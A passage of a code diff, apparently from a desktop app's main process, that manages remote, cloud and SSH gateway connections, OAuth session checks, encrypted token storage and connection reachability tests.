+  const mode = envOverride ? 'remote' : savedMode === 'ssh' ? 'ssh' : modeIsRemoteLike(savedMode) ? savedMode : 'local'
+
+  let remoteOauthConnected = false
+
+  if (authMode === 'oauth' && remoteUrl) {
+    try {
+      // Display signal: treat a live RT cookie as "connected" even if the AT
+      // cookie has lapsed — the gateway refreshes the AT on the next request,
+      // so the session is still usable. A stored native bearer token (cookieless
+      // RFC 8252 flow) counts as connected too — otherwise a completed native
+      // sign-in shows "not connected" in Settings. The authoritative liveness
+      // check is the ws-ticket mint in resolveRemoteBackend at actual connect time.
+      remoteOauthConnected = oauthSessionIsLive(hasNativeSession(remoteUrl), await hasLiveOauthSession(remoteUrl))
+    } catch {
+      remoteOauthConnected = false
+    }
+  }
+
+  return {
+    mode,
+    // Echo the scope back so the UI knows which profile (if any) this reflects.
+    profile: key,
+    remoteAuthMode: authMode,
+    remoteOauthConnected,
+    remoteUrl,
+    // The persisted ClawCodex Cloud org (slug/id) for a cloud connection, or '' for
+    // remote/local. Lets Settings → Gateway reopen into the same org.
+    cloudOrg: mode === 'cloud' ? String(block.org || '') : '',
+    remoteTokenPreview: tokenPreview(remoteToken),
+    remoteTokenSet: Boolean(remoteToken),
+    sshHost: (ssh || savedSsh)?.host || '',
+    sshUser: (ssh || savedSsh)?.user || '',
+    sshPort: (ssh || savedSsh)?.port || null,
+    sshKeyPath: (ssh || savedSsh)?.keyPath || '',
+    sshRemoteClawCodexPath: (ssh || savedSsh)?.remoteClawCodexPath || '',
+    sshRemoteProfile: (ssh || savedSsh)?.remoteProfile || '',
+    // The env override only forces the global/primary connection; a per-profile
+    // scope is never overridden by CLAWCODEX_DESKTOP_REMOTE_URL.
+    envOverride
+  }
+}
+
+// Build + validate a `{ url, authMode, token }` remote block. OAuth gateways
+// authenticate via the login-window session cookie (verified at connect time in
+// resolveRemoteBackend), so only token-auth remotes require a saved token.
+// `org` (optional) is the ClawCodex Cloud org slug/id the instance was discovered
+// under — persisted so Settings can reopen into the same org; omitted from the
+// block when empty so plain remote connections stay unchanged.
+function buildRemoteBlock(remoteUrl, authMode, token, org?: string) {
+  if (authMode !== 'oauth' && !decryptDesktopSecret(token)) {
+    throw new Error('Remote gateway session token is required.')
+  }
+
+  const block: { url: string; authMode: string; token: object; org?: string } = {
+    url: normalizeRemoteBaseUrl(remoteUrl),
+    authMode,
+    token
+  }
+
+  const orgValue = typeof org === 'string' ? org.trim() : ''
+
+  if (orgValue) {
+    block.org = orgValue
+  }
+
+  return block
+}
+
+function coerceDesktopConnectionConfig(input: any = {}, existing = readDesktopConnectionConfig(), options: any = {}) {
+  const persistToken = options.persistToken !== false
+  const key = connectionScopeKey(input.profile)
+  // 'cloud' and 'remote' both persist a remote-shaped block; 'cloud' is
+  // remembered as its own provenance (Q6) and resolves to remote downstream.
+  // Anything else collapses to local.
+  const mode = input.mode === 'ssh' ? 'ssh' : modeIsRemoteLike(input.mode) ? input.mode : 'local'
+  const remoteLike = modeIsRemoteLike(mode)
+
+  // The block being edited: a per-profile entry or the global remote block.
+  const rawExistingBlock = key ? existing.profiles?.[key] || {} : existing.remote || {}
+  // Leaving a CLOUD connection unselects it: a cloud block's url/org/token
+  // describe a discovered ClawCodex Cloud instance, NOT a user-owned remote gateway,
+  // so switching to local or remote must NOT inherit them (otherwise the stale
+  // cloud URL lingers and re-selecting Cloud looks "already connected"). When the
+  // saved block was cloud and the new mode is not cloud, start from an empty
+  // block. (remote↔local toggles still preserve a real remote URL as before.)
+  const existingMode = key ? existing.profiles?.[key]?.mode : existing.mode
+  const leavingCloud = existingMode === 'cloud' && mode !== 'cloud'
+  const leavingSsh = rawExistingBlock.mode === 'ssh' && mode !== 'ssh' && mode !== 'local'
+  const existingBlock = leavingCloud || leavingSsh ? {} : rawExistingBlock
+  const remoteUrl = String(input.remoteUrl ?? existingBlock.url ?? '').trim()
+  // authMode: explicit input wins; otherwise inherit the saved value, default 'token'.
+  const authMode = resolveAuthMode(input.remoteAuthMode, existingBlock.authMode)
+  // Cloud org: only meaningful for 'cloud' mode. Explicit input wins; otherwise
+  // inherit the saved org. A plain 'remote' connection never carries an org
+  // (switching cloud→remote drops it), so it stays unset unless mode is cloud.
+  const cloudOrg = mode === 'cloud' ? String(input.cloudOrg ?? existingBlock.org ?? '').trim() : ''
+  const incomingToken = typeof input.remoteToken === 'string' ? input.remoteToken.trim() : ''
+
+  const nextToken = incomingToken
+    ? persistToken
+      ? encryptDesktopSecret(incomingToken)
+      : { encoding: 'plain', value: incomingToken }
+    : existingBlock.token
+
+  if (mode === 'ssh') {
+    const sshBlock = buildSshBlock(input, savedProfileSsh(existing, key) || rawExistingBlock)
+
+    if (key) {
+      const profiles = { ...(existing.profiles || {}), [key]: sshBlock }
+
+      return {
+        mode: existing.mode === 'ssh' || modeIsRemoteLike(existing.mode) ? existing.mode : 'local',
+        remote: existing.remote || {},
+        profiles
+      }
+    }
+
+    return { mode: 'ssh', remote: sshBlock, profiles: existing.profiles || {} }
+  }
+
+  if (key) {
+    // Per-profile scope: a remote/cloud entry pins this profile to its own
+    // backend; a local entry clears the override so the profile inherits the
+    // default. The mode tag (remote vs cloud) is preserved on the entry.
+    const profiles = { ...(existing.profiles || {}) }
+
+    if (remoteLike) {
+      profiles[key] = { mode, ...buildRemoteBlock(remoteUrl, authMode, nextToken, cloudOrg) }
+    } else {
+      const localEntry = localProfileEntry(rawExistingBlock)
+
+      if (localEntry) {
+        profiles[key] = localEntry
+      } else {
+        delete profiles[key]
+      }
+    }
+
+    return {
+      mode: existing.mode === 'ssh' || modeIsRemoteLike(existing.mode) ? existing.mode : 'local',
+      remote: existing.remote || {},
+      profiles
+    }
+  }
+
+  const nextRemote = remoteLike
+    ? buildRemoteBlock(remoteUrl, authMode, nextToken, cloudOrg)
+    : existingMode === 'ssh'
+      ? rawExistingBlock
+      : { url: remoteUrl ? normalizeRemoteBaseUrl(remoteUrl) : remoteUrl, authMode, token: nextToken }
+
+  // Preserve per-profile overrides when saving the global connection.
+  return { mode, remote: nextRemote, profiles: existing.profiles || {} }
+}
+
+// Build an SSH connection block from a save payload, preserving an
+// already-adopted dashboard token from the existing block (the token is minted
+// + reconciled at bootstrap, never user-entered). `mode: 'ssh'` is stamped so
+// normalizeSshConfig/profileSshOverride recognize it.
+function buildSshBlock(input: any, existingBlock: any = {}) {
+  // `??` (not `||`) so an explicit '' (user CLEARED the field) wins over the
+  // saved value; only a truly absent (undefined) field inherits.
+  const merged = normalizeSshConfig({
+    mode: 'ssh',
+    host: input.sshHost ?? existingBlock.host,
+    user: input.sshUser ?? existingBlock.user,
+    port: input.sshPort ?? existingBlock.port,
+    keyPath: input.sshKeyPath ?? existingBlock.keyPath,
+    remoteClawCodexPath: input.sshRemoteClawCodexPath ?? existingBlock.remoteClawCodexPath,
+    remoteProfile: input.sshRemoteProfile ?? existingBlock.remoteProfile
+  })
+
+  if (!merged) {
+    throw new Error('SSH host is required.')
+  }
+
+  // Carry forward an already-adopted dashboard token unless the host changed
+  // (a different host invalidates the old dashboard's token).
+  if (existingBlock.token && existingBlock.host === merged.host) {
+    merged.token = existingBlock.token
+  }
+
+  return merged
+}
+
+// Build a remote backend connection descriptor from an already-resolved remote
+// config. Handles both auth models (OAuth ws-ticket vs static session token)
+// and is shared by the per-profile, env, and global resolution paths. `token`
+// is the DECRYPTED static token (or null in OAuth mode). `source` is a label
+// for diagnostics ('profile' | 'env' | 'settings').
+async function buildRemoteConnection(
+  rawUrl,
+  authMode,
+  token,
+  source,
+  remoteHost?,
+  remoteKind = 'url',
+  remoteIdentity?
+) {
+  const baseUrl = normalizeRemoteBaseUrl(rawUrl)
+  // For token/oauth remotes the meaningful host is the real backend URL; for
+  // SSH remotes the caller passes the entered/resolved host explicitly (the
+  // baseUrl is a 127.0.0.1 tunnel and would be useless in the pill).
+  const host = remoteHost || hostLabelFromBaseUrl(baseUrl)
+
+  if (authMode === 'oauth') {
+    // OAuth gateway: auth comes from EITHER a native bearer token (cookieless
+    // RFC 8252 flow) OR the session cookies in the OAuth partition. Liveness is
+    // NOT "is the access-token cookie present?" — Portal issues a 24h rotating
+    // refresh token (clawcodex #37247), and the gateway middleware transparently
+    // rotates a fresh ~15-min access token from it on the next authenticated
+    // request. So a session with an expired AT cookie but a live RT cookie is
+    // still perfectly connectable. We early-out only when NEITHER a native
+    // token NOR any cookie is present, then mint a ws-ticket (which itself
+    // prefers the native bearer) as the authoritative liveness check.
+    //
+    // The native-token check is essential: the native login stores bearer
+    // tokens (no cookie is ever set), so gating solely on hasLiveOauthSession
+    // here would reject a freshly-completed native sign-in and loop the UI back
+    // into "not signed in" even though mintGatewayWsTicket would succeed with
+    // the stored bearer.
+    if (
+      !oauthSessionIsLive(hasNativeSession(baseUrl), await hasLiveOauthSession(baseUrl)) &&
+      oauthGuardMayHardFail(await gatewayAuthProviders(baseUrl))
+    ) {
+      const err = new Error(
+        'Remote ClawCodex gateway uses OAuth, but you are not signed in. ' +
+          'Open Settings → Gateway and click "Sign in", or switch back to Local.'
+      ) as any
+
+      err.needsOauthLogin = true
+      throw err
+    }
+
+    let ticket
+
+    try {
+      ticket = await mintGatewayWsTicket(baseUrl)
+    } catch (error) {
+      throw gatewayTicketFailure(
+        error,
+        'Your remote gateway session has expired. Open Settings → Gateway and click "Sign in" again.',
+        'Could not reach the remote ClawCodex gateway while refreshing its WebSocket ticket. Try reconnecting.'
+      )
+    }
+
+    return {
+      baseUrl,
+      mode: 'remote',
+      source,
+      authMode: 'oauth',
+      remoteHost: host || undefined,
+      remoteIdentity,
+      remoteKind,
+      // No static token in OAuth mode; REST is cookie-authed via the partition.
+      token: null,
+      wsUrl: buildGatewayWsUrlWithTicket(baseUrl, ticket)
+    }
+  }
+
+  if (!token) {
+    throw new Error(
+      'Remote ClawCodex gateway is selected, but no session token is saved. ' +
+        'Open Settings → Gateway and save a token, or switch back to Local.'
+    )
+  }
+
+  return {
+    baseUrl,
+    mode: 'remote',
+    source,
+    authMode: 'token',
+    remoteHost: host || undefined,
+    remoteIdentity,
+    remoteKind,
+    token,
+    wsUrl: buildGatewayWsUrl(baseUrl, token)
+  }
+}
+
+const sshConnections = new Map<string, any>()
+const desktopInstallationId = loadOrCreateInstallationId(DESKTOP_INSTALLATION_PATH)
+
+const sshBootstrapCoordinator = createBootstrapCoordinator()
+
+let sshQuitTeardownDone = false
+
+function sshScopeKey(profile) {
+  return connectionScopeKey(profile) || ''
+}
+
+function sshOwnershipKey(profile) {
+  return sshOwnershipId(desktopInstallationId, sshScopeKey(profile))
+}
+
+function sshRememberLog(chunk) {
+  rememberLog(redactSecrets(String(chunk == null ? '' : chunk)))
+}
+
+async function sshProbeReuseProof(baseUrl, token, spawnNonce) {
+  try {
+    const proof: any = await fetchJson(`${baseUrl}/api/ssh/ownership`, token)
+
+    return proof?.ok === true && proof.sshOwnerNonce === spawnNonce && proof.protocolVersion === 1
+      ? 'authenticated-ok'
+      : 'authenticated-stale'
+  } catch (error: any) {
+    if (/^(401|403|404):/.test(String(error?.message || ''))) {
+      return 'authenticated-stale'
+    }
+
+    throw error
+  }
+}
+
+async function teardownSshConnection(profile) {
+  const scope = sshScopeKey(profile)
+  const state = sshConnections.get(scope)
+
+  if (!state) {
+    return
+  }
+
+  sshConnections.delete(scope)
+
+  for (const [id, info] of [...terminalSessions.entries()]) {
+    if (info.sshScope === scope) {
+      disposeTerminalSession(id)
+    }
+  }
+
+  try {
+    if (state.localPort && state.remotePort) {
+      await state.ssh.cancelForward(state.localPort, state.remotePort)
+    }
+  } catch {
+    // best effort
+  }
+
+  try {
+    await state.ssh.close()
+  } catch {
+    // best effort
+  }
+}
+
+// CRITICAL: this must mirror resolveRemoteBackend's precedence, not just return
+// any cached SSH state. A per-profile token/OAuth override wins over a global
+// SSH connection — so if the active profile resolves to a NON-SSH backend, the
+// terminal must NOT fall through to a global SSH host.
+function activeSshTerminalTarget() {
+  const profile = primaryProfileKey()
+  const config = readDesktopConnectionConfig()
+
+  if (profileSshOverride(config, profile)) {
+    const scope = sshScopeKey(profile)
+    const state = sshConnections.get(scope)
+
+    return state && state.ssh ? { ssh: state.ssh, scope } : 'pending'
+  }
+
+  if (profileRemoteOverride(config, profile)) {
+    return null
+  }
+
+  if (process.env.CLAWCODEX_DESKTOP_REMOTE_URL) {
+    return null
+  }
+
+  if (config.mode === 'ssh') {
+    const state = sshConnections.get('')
+
+    return state && state.ssh ? { ssh: state.ssh, scope: '' } : 'pending'
+  }
+
+  return null
+}
+
+function effectiveSshConfigFingerprint(sshConfig) {
+  const ssh =
+    process.platform === 'win32'
+      ? path.join(process.env.SystemRoot || 'C:\\Windows', 'System32', 'OpenSSH', 'ssh.exe')
+      : 'ssh'
+
+  const args = ['-G']
+
+  if (sshConfig.port) {
+    args.push('-p', String(sshConfig.port))
+  }
+
+  if (sshConfig.keyPath) {
+    args.push('-i', sshConfig.keyPath)
+  }
+
+  args.push('--', sshConfig.user ? `${sshConfig.user}@${sshConfig.host}` : sshConfig.host)
+  const output = execFileSync(ssh, args, { encoding: 'utf8', timeout: 10_000, windowsHide: true })
+
+  return crypto.createHash('sha256').update(output).digest('hex')
+}
+
+async function bootstrapSshConnection(profile, sshConfig, reuseToken, source) {
+  const scope = sshScopeKey(profile)
+  const effectiveConfigFingerprint = effectiveSshConfigFingerprint(sshConfig)
+  const resolvedConfig = { ...sshConfig, effectiveConfigFingerprint }
+  const fingerprint = sshConfigFingerprint(scope, resolvedConfig)
+
+  return sshBootstrapCoordinator.start(scope, fingerprint, lease =>
+    bootstrapSshConnectionInner(profile, resolvedConfig, reuseToken, source, fingerprint, lease)
+  )
+}
+
+async function bootstrapSshConnectionInner(profile, sshConfig, reuseToken, source, fingerprint, lease) {
+  const scope = sshScopeKey(profile)
+  const hostLabel = sshConfig.user ? `${sshConfig.user}@${sshConfig.host}` : sshConfig.host
+  const existing = sshConnections.get(scope)
+
+  if (existing && existing.fingerprint !== fingerprint) {
+    await teardownSshConnection(profile)
+  }
+
+  let ssh = sshConnections.get(scope)?.ssh
+
+  if (ssh && !(await ssh.isAlive())) {
+    try {
+      await ssh.close()
+    } catch {
+      void 0
+    }
+
+    ssh = null
+    sshConnections.delete(scope)
+  }
+
+  const created = !ssh
+
+  let removeForceCleanup = () => {}
+
+  if (created) {
+    ssh = new SshConnection(
+      { host: sshConfig.host, user: sshConfig.user, port: sshConfig.port, keyPath: sshConfig.keyPath },
+      {
+        rememberLog: sshRememberLog,
+        ownershipId: sshOwnershipKey(profile),
+        scope,
+        effectiveConfigFingerprint: sshConfig.effectiveConfigFingerprint
+      }
+    )
+    removeForceCleanup = lease.onForceCleanup(() => ssh.close())
+    await ssh.open()
+  }
+
+  let result
+
+  try {
+    const platform = await detectRemotePlatform(ssh, sshConfig.remoteClawCodexPath || '')
+    const lifecycle = platform.os === 'Windows' ? connectWindowsRemote : remoteLifecycle.connect
+    result = await lifecycle({
+      ssh,
+      profile: sshConfig.remoteProfile || connectionScopeKey(profile) || '',
+      remoteClawCodexPath: sshConfig.remoteClawCodexPath || '',
+      ownershipId: sshOwnershipKey(profile),
+      reuseToken: reuseToken || '',
+      forward: (localPort, remotePort) => ssh.forward(localPort, remotePort),
+      cancelForward: (localPort, remotePort) => ssh.cancelForward(localPort, remotePort),
+      pickLocalPort,
+      waitForClawCodex: (baseUrl, token) => waitForClawCodex(baseUrl, token, lease.signal, 'token'),
+      probeReuseProof: sshProbeReuseProof,
+      adoptServedToken: adoptServedDashboardToken,
+      rememberLog: sshRememberLog,
+      signal: lease.signal
+    })
+  } catch (error: any) {
+    if (created) {
+      try {
+        await ssh.close()
+      } catch {
+        void 0
+      }
+    }
+
+    const err = new Error(error.message) as any
+    err.sshError = error.kind || 'unknown'
+    err.isSshBootstrap = true
+    throw err
+  }
+
+  try {
+    lease.assertCurrent()
+  } catch (error) {
+    try {
+      await ssh.cancelForward(result.localPort, result.remotePort)
+      await ssh.close()
+    } catch {
+      void 0
+    }
+
+    throw error
+  }
+
+  persistSshConnectionToken(profile, source, result.token)
+
+  removeForceCleanup()
+  sshConnections.set(scope, {
+    ssh,
+    fingerprint,
+    localPort: result.localPort,
+    remotePort: result.remotePort,
+    pid: result.pid,
+    host: sshConfig.host,
+    hostLabel,
+    clawcodexVersion: result.clawcodexVersion || '',
+    remotePlatform: result.platform?.os || '',
+    reused: result.reused
+  })
+
+  sshRememberLog(
+    `[ssh] connection ${result.reused ? 'REUSED' : 'spawned'} dashboard: ` +
+      `${result.clawcodexVersion || 'clawcodex (version unknown)'} at ${result.clawcodexPath || '?'}`
+  )
+
+  const connection = await buildRemoteConnection(
+    result.baseUrl,
+    'token',
+    result.token,
+    source,
+    hostLabel,
+    'ssh',
+    result.ownershipId
+  )
+
+  return { ...connection, remoteClawCodexVersion: result.clawcodexVersion || '' }
+}
+
+function persistSshConnectionToken(profile, source, token) {
+  try {
+    const config = readDesktopConnectionConfig()
+    const encrypted = encryptDesktopSecret(token)
+
+    if (source === 'profile') {
+      const key = connectionScopeKey(profile)
+
+      if (key && config.profiles?.[key]?.mode === 'ssh') {
+        config.profiles[key].token = encrypted
+        writeDesktopConnectionConfig(config)
+      }
+    } else if (config.mode === 'ssh' && config.remote) {
+      config.remote.token = encrypted
+      writeDesktopConnectionConfig(config)
+    }
+  } catch (error: any) {
+    sshRememberLog(`[ssh] could not persist served token: ${error.message}`)
+  }
+}
+
+// Resolve the remote backend for a given profile, or null when that profile
+// should run a LOCAL backend. Precedence:
+//   1. explicit per-profile remote override (connection.json `profiles[name]`)
+//   2. env override (CLAWCODEX_DESKTOP_REMOTE_URL/_TOKEN) — applies app-wide
+//   3. global remote (connection.json `mode: 'remote'`)
+// A null/empty profile resolves the env/global remote, so legacy callers and
+// the connection test (which pass no profile) are unchanged.
+async function resolveRemoteBackend(profile) {
+  const config = readDesktopConnectionConfig()
+
+  // 1. Per-profile override — "a profile with its own remote host". Wins even
+  //    over the env override so an explicitly-configured profile always
+  //    reaches its intended backend.
+  const sshOverride = profileSshOverride(config, profile)
+
+  if (sshOverride) {
+    const reuseToken = decryptDesktopSecret(config.profiles?.[connectionScopeKey(profile)]?.token)
+
+    return bootstrapSshConnection(profile, sshOverride, reuseToken, 'profile')
+  }
+
+  const override = profileRemoteOverride(config, profile)
+
+  if (override) {
+    const token = override.authMode === 'oauth' ? null : decryptDesktopSecret(override.token)
+
+    return buildRemoteConnection(
+      override.url,
+      override.authMode,
+      token,
+      'profile',
+      undefined,
+      config.profiles?.[connectionScopeKey(profile)]?.mode === 'cloud' ? 'cloud' : 'url'
+    )
+  }
+
+  // 2. Env override (global, token-auth only).
+  const rawEnvUrl = process.env.CLAWCODEX_DESKTOP_REMOTE_URL
+  const rawEnvToken = process.env.CLAWCODEX_DESKTOP_REMOTE_TOKEN
+
+  if (rawEnvUrl) {
+    if (!rawEnvToken) {
+      throw new Error(
+        'CLAWCODEX_DESKTOP_REMOTE_URL is set but CLAWCODEX_DESKTOP_REMOTE_TOKEN is not. ' +
+          'Both must be provided to connect to a remote ClawCodex backend.'
+      )
+    }
+
+    return buildRemoteConnection(rawEnvUrl, 'token', rawEnvToken, 'env')
+  }
+
+  // 3. Global remote.
+  if (config.mode === 'ssh') {
+    const ssh = normalizeSshConfig({ mode: 'ssh', ...(config.remote || {}) })
+
+    if (!ssh) {
+      throw new Error('SSH remote mode is selected but no host is configured.')
+    }
+
+    const reuseToken = decryptDesktopSecret(config.remote?.token)
+
+    return bootstrapSshConnection(null, ssh, reuseToken, 'settings')
+  }
+
+  // Cloud resolves through the existing URL/OAuth path.
+  if (!modeIsRemoteLike(config.mode)) {
+    return null
+  }
+
+  const authMode = normAuthMode(config.remote?.authMode)
+  const token = authMode === 'oauth' ? null : decryptDesktopSecret(config.remote?.token)
+
+  return buildRemoteConnection(
+    config.remote?.url,
+    authMode,
+    token,
+    'settings',
+    undefined,
+    config.mode === 'cloud' ? 'cloud' : 'url'
+  )
+}
+
+// A remote profile's sessions live on its remote host's state.db, not on a local
+// file the primary can open — so reads for it must route to the remote backend,
+// not the local-disk fast path. These three helpers drive that (see
+// interceptSessionReadForRemote).
+function profileHasRemoteOverride(profile) {
+  return profileHasRemoteConnection(readDesktopConnectionConfig(), profile)
+}
+
+function configuredRemoteProfileNames() {
+  const config = readDesktopConnectionConfig()
+
+  return Object.keys(config.profiles || {}).filter(name => profileHasRemoteConnection(config, name))
+}
+
+// True when the app is in app-global remote mode (Settings → "All profiles" →
+// Remote/Cloud, or the env override): a SINGLE remote backend serves every
+// profile via ?profile=. Cloud counts — it resolves to a remote backend (Q6).
+// Distinct from per-profile overrides — here there's one host for all.
+function globalRemoteActive() {
+  if (process.env.CLAWCODEX_DESKTOP_REMOTE_URL) {
+    return true
+  }
+
+  const mode = readDesktopConnectionConfig().mode
+
+  return modeIsRemoteLike(mode) || mode === 'ssh'
+}
+
+// True when the PRIMARY profile's backend resolves to a remote/cloud host —
+// i.e. resolveRemoteBackend(primaryProfileKey()) would return a descriptor
+// rather than null. Mirrors that function's precedence (per-profile override →
+// env → global) so a startClawCodex() failure can be classified as remote (never
+// latch — transient, must stay retryable) vs local (latch to break install
+// loops) BEFORE the throwing resolve/mint runs.
+function primaryBackendIsRemote() {
+  return Boolean(profileHasRemoteOverride(primaryProfileKey())) || globalRemoteActive()
+}
+
+// GET a profile's resolved backend (remote pool or local primary), parsed JSON.
+async function fetchJsonForProfile(profile, path) {
+  return requestJsonForProfile(profile, path, 'GET')
+}
+
+// Issue an arbitrary method against a profile's resolved backend, parsed JSON.
+async function requestJsonForProfile(profile: string, path: string, method: string, body?: string) {
+  const conn = await ensureBackend(profile)
+  const url = `${conn.baseUrl}${path}`
+  const opts = { method, body, timeoutMs: DEFAULT_FETCH_TIMEOUT_MS }
+
+  if (conn.authMode === 'oauth') {
+    // Native RFC 8252 flow: authenticate with the bearer token (cookieless)
+    // when we hold one for this gateway; otherwise use the cookie partition.
+    const nativeAt = await ensureNativeAccessToken(conn.baseUrl).catch(() => null)
+
+    if (nativeAt) {
+      return fetchJson(url, null, { ...opts, bearer: nativeAt })
+    }
+
+    return fetchJsonViaOauthSession(url, opts)
+  }
+
+  return fetchJson(url, conn.token, opts)
+}
+
+async function probeRemoteAuthMode(rawUrl) {
+  // Determine how a remote gateway expects callers to authenticate, WITHOUT
+  // sending any credentials. ``/api/status`` is public on every ClawCodex
+  // gateway (it backs the portal liveness probe) and reports:
+  //   auth_required: true  → OAuth gate is engaged (cookie + ws-ticket auth)
+  //   auth_required: false → loopback/--insecure: legacy session-token auth
+  // ``/api/auth/providers`` (also public, only meaningful when gated) gives
+  // the human-facing provider name(s) for the login button label.
+  //
+  // The settings UI calls this as the user types a URL so it can render an
+  // OAuth login button vs a session-token entry box. Network/parse failures
+  // surface as ``reachable: false`` rather than throwing, so a half-typed or
+  // unreachable URL degrades to "can't tell yet" instead of a hard error.
+  const baseUrl = normalizeRemoteBaseUrl(rawUrl)
+
+  let status
+
+  try {
+    status = await fetchPublicJson(`${baseUrl}/api/status`, { timeoutMs: 8_000 })
+  } catch (error: any) {
+    return {
+      baseUrl,
+      reachable: false,
+      authMode: 'unknown',
+      providers: [],
+      version: null,
+      error: error instanceof Error ? error.message : String(error)
+    }
+  }
+
+  const authRequired = authModeFromStatus(status) === 'oauth'
+  let providers = []
+
+  if (authRequired) {
+    // Best-effort: a gated gateway exposes the registered providers so the
+    // button can read "Sign in with ClawCodex contributors" instead of a generic
+    // label, and so a username/password provider can be distinguished from
+    // an OAuth-redirect one (``supports_password``). A failure here doesn't
+    // change the auth mode, so swallow it.
+    try {
+      const body = (await fetchPublicJson(`${baseUrl}/api/auth/providers`, { timeoutMs: 8_000 })) as any
+
+      if (Array.isArray(body?.providers)) {
+        providers = body.providers
+          .filter(p => p && typeof p === 'object')
+          .map(p => ({
+            name: String(p.name || ''),
+            displayName: String(p.display_name || p.name || ''),
+            supportsPassword: Boolean(p.supports_password)
+          }))
+          .filter(p => p.name)
+      }
+    } catch {
+      // Provider listing is optional metadata; the auth mode is already known.
+    }
+  }
+
+  return {
+    baseUrl,
+    reachable: true,
+    authMode: authRequired ? 'oauth' : 'token',
+    providers,
+    version: status?.version || null,
+    error: null
+  }
+}
+
+async function testDesktopConnectionConfig(input: any = {}) {
+  if (input.mode === 'ssh') {
+    const sshConfig = normalizeSshConfig({
+      mode: 'ssh',
+      host: input.sshHost,
+      user: input.sshUser,
+      port: input.sshPort,
+      keyPath: input.sshKeyPath,
+      remoteClawCodexPath: input.sshRemoteClawCodexPath
+    })
+
+    if (!sshConfig) {
+      return { reachable: false, sshError: 'unreachable', error: 'SSH host is required.' }
+    }
+
+    const ssh = createSshProbeConnection(
+      { host: sshConfig.host, user: sshConfig.user, port: sshConfig.port, keyPath: sshConfig.keyPath },
+      { rememberLog: sshRememberLog }
+    )
+
+    try {
+      // One bounded retry on TIMEOUT only: a cold Windows backend's first
+      // PowerShell exec can exceed the budget (observed live), and a timeout is
+      // indeterminate — unlike auth/host-key/unreachable, which are verdicts.
+      let attempt = 0
+
+      for (;;) {
+        try {
+          await ssh.open()
+          const platform: any = await detectRemotePlatform(ssh, sshConfig.remoteClawCodexPath || '')
+          let clawcodexPath
+          let clawcodexVersion
+          let supported
+
+          if (platform.os === 'Windows') {
+            const runtime = platform
+            clawcodexPath = runtime.clawcodexPath
+            const inspection = await helper(ssh, runtime, 'inspect', [runtime.clawcodexPath])
+            clawcodexVersion = inspection.version
+            supported = inspection.supported
+          } else {
+            clawcodexPath = await remoteLifecycle.locateClawCodex(ssh, sshConfig.remoteClawCodexPath || '')
+            clawcodexVersion = await remoteLifecycle.probeClawCodexVersion(ssh, clawcodexPath)
+            supported = await remoteLifecycle.remoteSupportsSshOwnership(ssh, clawcodexPath)
+          }
+
+          if (!supported) {
+            return {
+              reachable: false,
+              sshError: 'update-required',
+              error: 'Update ClawCodex on the remote host before connecting with Desktop SSH.'
+            }
+          }
+
+          return {
+            reachable: true,
+            sshError: null,
+            error: null,
+            remotePlatform: `${platform.os}/${platform.arch}`,
+            remoteClawCodexPath: clawcodexPath,
+            remoteClawCodexVersion: clawcodexVersion,
+            host: sshConfig.user ? `${sshConfig.user}@${sshConfig.host}` : sshConfig.host
+          }
+        } catch (error: any) {
+          if (error?.kind === 'timeout' && attempt === 0) {
+            attempt += 1
+            sshRememberLog('[ssh] test probe timed out once; retrying')
+
+            continue
+          }
+
+          throw error
+        }
+      }
+    } catch (error: any) {
+      return { reachable: false, sshError: error.kind || 'unknown', error: error.message }
+    } finally {
+      try {
+        await ssh.close()
+      } catch {
+        void 0
+      }
+    }
+  }
+
+  const config = coerceDesktopConnectionConfig(input, readDesktopConnectionConfig(), { persistToken: false })
+  const key = connectionScopeKey(input.profile)
+  // The block under test: a per-profile entry or the global remote. Coerce has
+  // already normalized the URL and resolved token inheritance for the scope.
+  const block = key ? config.profiles?.[key] || null : config.remote
+
+  const wantRemote =
+    modeIsRemoteLike(block?.mode) || (!key && modeIsRemoteLike(config.mode)) || (modeIsRemoteLike(input.mode) && block)
+
+  // ``/api/status`` is public on every gateway (no creds needed), so a
+  // reachability test works for local, token, and oauth modes alike — we only
+  // need a base URL. For a remote config we normalize the URL from the input;
+  // for local we fall back to the resolved/started backend.
+  let baseUrl
+  let token = null
+  let authMode = 'token'
+
+  if (wantRemote && block?.url) {
+    baseUrl = normalizeRemoteBaseUrl(block.url)
+    authMode = normAuthMode(block.authMode)
+
+    if (authMode !== 'oauth') {
+      token = decryptDesktopSecret(block.token)
+    }
+  } else {
+    const remote = (await resolveRemoteBackend(key)) || (await startClawCodex())
+    baseUrl = remote.baseUrl
+    token = remote.token
+    authMode = normAuthMode(remote.authMode)
+  }
+
+  const status = (await fetchJson(`${baseUrl}/api/status`, token, { timeoutMs: 8_000 })) as any
+
+  // The HTTP status check above proves the backend is reachable, but the chat
+  // surface only works once the renderer's live WebSocket to ``/api/ws``
+  // connects — a separate transport with separate server-side guards (Host/
+  // Origin, ws-ticket/token auth). Validating only the HTTP side produced a
+  // false-positive "reachable" while the real boot still failed with "Could not
+  // connect to ClawCodex gateway". Mirror the renderer's connect here so the test
+  // reflects the full path the app actually uses.
+  const wsUrl = await resolveTestWsUrl(baseUrl, authMode, token, { mintTicket: mintGatewayWsTicket })
+
+  // Skip the WS leg only when the runtime genuinely lacks a WebSocket (so an
+  // older Electron/Node never fails the test spuriously); Electron's main
+  // process ships a global WebSocket on every supported version.
+  if (wsUrl && typeof globalThis.WebSocket === 'function') {
+    const probe = await probeGatewayWebSocket(wsUrl, { WebSocketImpl: globalThis.WebSocket })
+
+    if (!probe.ok) {
+      throw new Error(
+        `Reached the gateway over HTTP, but the live WebSocket (/api/ws) connection failed: ${probe.reason} ` +
+          'The HTTP check can pass while the WebSocket is blocked by a proxy, firewall, or gateway auth/origin guard.'
+      )
+    }
+  }
+
+  return {
+    ok: true,
+    baseUrl,
+    version: status?.version || null
+  }
+}
+
+function resetBootProgressForReconnect() {
+  updateBootProgress(
+    {
+      error: null,
+      message: 'Restarting desktop connection',
+      phase: 'backend.resolve',
+      progress: 4,
+      running: true
+    },
+    { allowDecrease: true }
+  )
+}
+
+function stopBackendChild(child) {
+  stopBackendChildImpl(child, { forceKillProcessTree, isWindows: IS_WINDOWS })
+}
+
+// Soft gateway-mode apply: tear down the primary without resetting boot UI or
+// reloading the renderer. The shell stays up; the renderer wipes session lists
+// (so skeletons retrigger) and re-dials. Distinct from hard re-home (profile
+// switch / crash recovery), which still resets boot progress + reloads.
+function resetClawCodexConnection({ soft = false } = {}) {
+  backendStartFailure = null
+  remoteReauthFailure = null
+  remoteLiveness.clear()
+  const clawcodexProcess = backendConnectionState.invalidate()
+  stopBackendChild(clawcodexProcess)
